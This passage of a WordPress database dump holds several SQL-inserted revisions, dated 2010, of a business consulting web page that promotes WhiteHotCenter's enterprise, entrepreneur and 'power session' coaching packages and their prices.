the market that you have not noticed before.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover profitable niche markets where your capabilities can serve people better.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover innovative ways to position yourself and your company as the recognized expert and specialist in your particular field.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover new customer applications for your products or services.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Create a distinctive brand identity and packaging for your products and services that differentiate you from your competitors.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Create compelling marketing ideas to dramatize the use of your product or service.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Provide innovative solutions to problems your customers experience by approaching them from an entirely new and different perspective.</strong></span>', 'Use your creative imagination to drive innovation.', 0, '', 'inherit', 'open', 'open', '', '772-revision-11', '', '', '2010-04-26 15:21:33', '2010-04-26 22:21:33', '', 772, 'http://www.whitehotcenter.com/2010/04/26/772-revision-11/', 0, 'revision', '', 0),
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INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_category`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(748, 2, '2010-04-22 17:58:24', '2010-04-23 00:58:24', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"> Success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> There are two guiding principles that form the bedrock of my point of view on creating a life of significance, freedom and meaning through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese principals stand evergreen, and form the essence of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are, and the legacy of your contribution to the world. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your business– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>WhiteHotCenter Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide creative entrepreneurs, small business leaders and solo professionals to discover and define the white hot center of their competitive advantage, then provide the tools to best leverage that advantage for greater growth and success.</span><span style="color: #ff6600;"><span style="color: #333333;"><strong>White Hot Center Consulting provide guidance and creativity to help you discover, define and pursue your best opportunities to create value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Our clients are a seeking improvements in one or all of these areas :</span></span></strong></h2>\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and team growth, (the inner game)\r\nlifestyle design, ( methods and tactics for creating what you want)</strong><strong>\r\nvalue creation ( market insight  / product development )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing,communications) </strong></span>\r\n</span>\r\n\r\n<span style="color: #ff6600;">\r\n</span>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $20 million +. Typically this consulting package involves guidance to help business leaders and their teams gain more clarity and velocity to pursue their greatest opportunities to create new value for their customers. We collaborate on strategic issues of mission, values, positioning, brand strategy, differentiation, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external audiences. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;"> </span></span><span style="color: #ff6600;"> </span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and solo professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create more value for customers and clients, resulting in greater business development success. The outcome is to gain a deeper insight and clarity around the strategic issues facing your business and personal growth. I provide guidance to develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Together we outline tactics and develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a defined structure, we jam on your best thinking, and develop ideas and a plan to move you closer to the results you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 1-hour Power Session Jam conference calls to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will guide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference.\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;"><strong>How to start the burn</strong></span>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create greater value!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-04-22 17:58:24', '2010-04-23 00:58:24', '', 138, 'http://www.whitehotcenter.com/2010/04/22/138-revision-56/', 0, 'revision', '', 0),
(747, 2, '2010-03-11 11:49:33', '2010-03-11 18:49:33', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"> Success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> There are two guiding principles that form the foundation of my point of view on creating a life of significance and meaning through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese principals stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire corporate executives, managers, creative entrepreneurs, and professionals to discover and define the white hot center of their competitive advantage, and provide guidance to help them bring into physical form the expression of that advantage at every client, customer, or personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level\r\nConsulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $20 million +. Typically this consulting package involves guidance to help business leaders and their teams gain more clarity and velocity to pursue their greatest opportunities to create new value for their customers. We collaborate on strategic issues of mission, values, positioning, brand strategy, differentiation, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external audiences. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;"> </span></span><span style="color: #ff6600;"> </span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and solo professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create more value for customers and clients, resulting in greater business development success. The outcome is to gain a deeper insight and clarity around the strategic issues facing your business and personal growth. I provide guidance to develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Together we outline tactics and develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a defined structure, we jam on your best thinking, and develop ideas and a plan to move you closer to the results you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 1-hour Power Session Jam conference calls to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will guide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference.\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;"><strong>How to start the burn</strong></span>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create greater value!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-03-11 11:49:33', '2010-03-11 18:49:33', '', 138, 'http://www.whitehotcenter.com/2010/03/11/138-revision-55/', 0, 'revision', '', 0),
(752, 2, '2010-04-22 19:05:39', '2010-04-23 02:05:39', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"> Success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> There are two guiding principles that form the bedrock of my point of view on creating a life of significance, freedom and meaning through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese principals stand evergreen, and form the essence of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are, and the legacy of your contribution to the world. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your business– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>WhiteHotCenter Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide creative entrepreneurs, small business leaders and solo professionals to discover and define the white hot center of their competitive advantage, then provide tools to best leverage that advantage for greater growth and success.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>White Hot Center Consulting provide guidance and creativity to help you discover, define and pursue your best opportunities to create value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Our clients are a seeking improvements in one or all of these areas :</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and team growth, (the inner game)\r\nlifestyle design, ( methods and tactics for creating what you want)</strong><strong>\r\nvalue creation ( market insight  / product development )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing,communications) </strong></span>\r\n</span>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting</h2>\r\nThis engagement is for mid-to-larger-scale enterprises with revenue of $10 million +. Typically this consulting package involves guidance to help business leaders and their teams gain more clarity and velocity to pursue their greatest opportunities to create new value for their customers. We collaborate on strategic issues of mission, values, positioning, brand strategy, differentiation, corporate and brand identity, marketing communications to internal and external audiences. The business imperatives that drive this level of engagement typically involve new product introductions, growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;"> </span></span><span style="color: #ff6600;"> </span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for small business owners, creative entrepreneurs and solo professionals who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level experience greater complexity getting the business to the million+ level. If this describes your current circumstances, we can provide strategic and creative guidance to help you focus on discovering the creative and innovative power of your own white hot center–what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the discipline necessary to provide more value to customers and clients, at the same time, creating more freedom for you. We bring deeper insight and clarity around the strategic issues facing your business and personal growth. We provide guidance and creativity to help you develop a differentiated positioning that matters to your customers and elevates their perception of your value to them. Together we outline tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers , start-up entrepreneurs, professionals and artists to gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60-90 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn sets the trajectory of your big ideas.  The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;"><strong>How to start the burn</strong></span>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement now! Then you''ll be one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create greater value!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-04-22 19:05:39', '2010-04-23 02:05:39', '', 138, 'http://www.whitehotcenter.com/2010/04/22/138-revision-60/', 0, 'revision', '', 0),
(753, 2, '2010-04-22 19:14:46', '2010-04-23 02:14:46', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"> Success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> There are two guiding principles that form the bedrock of my point of view on creating a life of significance, freedom and meaning through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese principals stand evergreen, and form the essence of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are, and the legacy of your contribution to the world. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your business– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>WhiteHotCenter Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide creative entrepreneurs, small business leaders and solo professionals to discover and define the white hot center of their competitive advantage, then provide tools to best leverage that advantage for greater growth and success.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>White Hot Center Consulting provide guidance and creativity to help you discover, define and pursue your best opportunities to create value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Our clients are a seeking improvements in one or all of these areas :</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and team growth, (the inner game)\r\nlifestyle design, ( methods and tactics for creating what you want)</strong><strong>\r\nvalue creation ( market insight  / product development )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing,communications) </strong></span>\r\n</span>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting</h2>\r\nThis engagement is for mid-to-larger-scale enterprises with revenue of $10 million +. Typically this consulting package involves guidance to help business leaders and their teams gain more clarity and velocity to pursue their greatest opportunities to create new value for their customers. We collaborate on strategic issues of mission, values, positioning, brand strategy, differentiation, corporate and brand identity, marketing communications to internal and external audiences. The business imperatives that drive this level of engagement typically involve new product introductions, growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;"> </span></span><span style="color: #ff6600;"> </span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for small business owners, creative entrepreneurs and solo professionals who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level experience greater complexity getting the business to the million+ level. If this describes your current circumstances, we can provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the discipline necessary to provide more value to customers and clients, at the same time, creating more freedom for you. You''ll gain deeper insight and clarity on the strategic issues facing your business and personal growth. Ypu''ll have a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. Together we''ll outline tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$10,000-20,000 USD This package is individually tailored and scaled to your particular needs, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers , start-up entrepreneurs, professionals and artists to gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn sets the trajectory of your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;"><strong>How to start the burn</strong></span>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement now! Then you''ll be one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create greater value!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-04-22 19:14:46', '2010-04-23 02:14:46', '', 138, 'http://www.whitehotcenter.com/2010/04/22/138-revision-61/', 0, 'revision', '', 0),
(751, 2, '2010-04-22 19:04:17', '2010-04-23 02:04:17', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"> Success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> There are two guiding principles that form the bedrock of my point of view on creating a life of significance, freedom and meaning through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese principals stand evergreen, and form the essence of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are, and the legacy of your contribution to the world. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your business– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>WhiteHotCenter Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide creative entrepreneurs, small business leaders and solo professionals to discover and define the white hot center of their competitive advantage, then provide tools to best leverage that advantage for greater growth and success.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>White Hot Center Consulting provide guidance and creativity to help you discover, define and pursue your best opportunities to create value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Our clients are a seeking improvements in one or all of these areas :</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and team growth, (the inner game)\r\nlifestyle design, ( methods and tactics for creating what you want)</strong><strong>\r\nvalue creation ( market insight  / product development )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing,communications) </strong></span>\r\n</span>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting</h2>\r\nThis engagement is for mid-to-larger-scale enterprises with revenue of $10 million +. Typically this consulting package involves guidance to help business leaders and their teams gain more clarity and velocity to pursue their greatest opportunities to create new value for their customers. We collaborate on strategic issues of mission, values, positioning, brand strategy, differentiation, corporate and brand identity, marketing communications to internal and external audiences. The business imperatives that drive this level of engagement typically involve new product introductions, growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;"> </span></span><span style="color: #ff6600;"> </span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for small business owners, creative entrepreneurs and solo professionals who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level experience greater complexity getting the business to the million+ level. If this describes your current circumstances, we can provide strategic and creative guidance to help you focus on discovering the creative and innovative power of your own white hot center–what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the discipline necessary to provide more value to customers and clients, at the same time, creating more freedom for you. We bring deeper insight and clarity around the strategic issues facing your business and personal growth. We provide guidance and creativity to help you develop a differentiated positioning that matters to your customers and elevates their perception of your value to them. Together we outline tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$7500-15,000 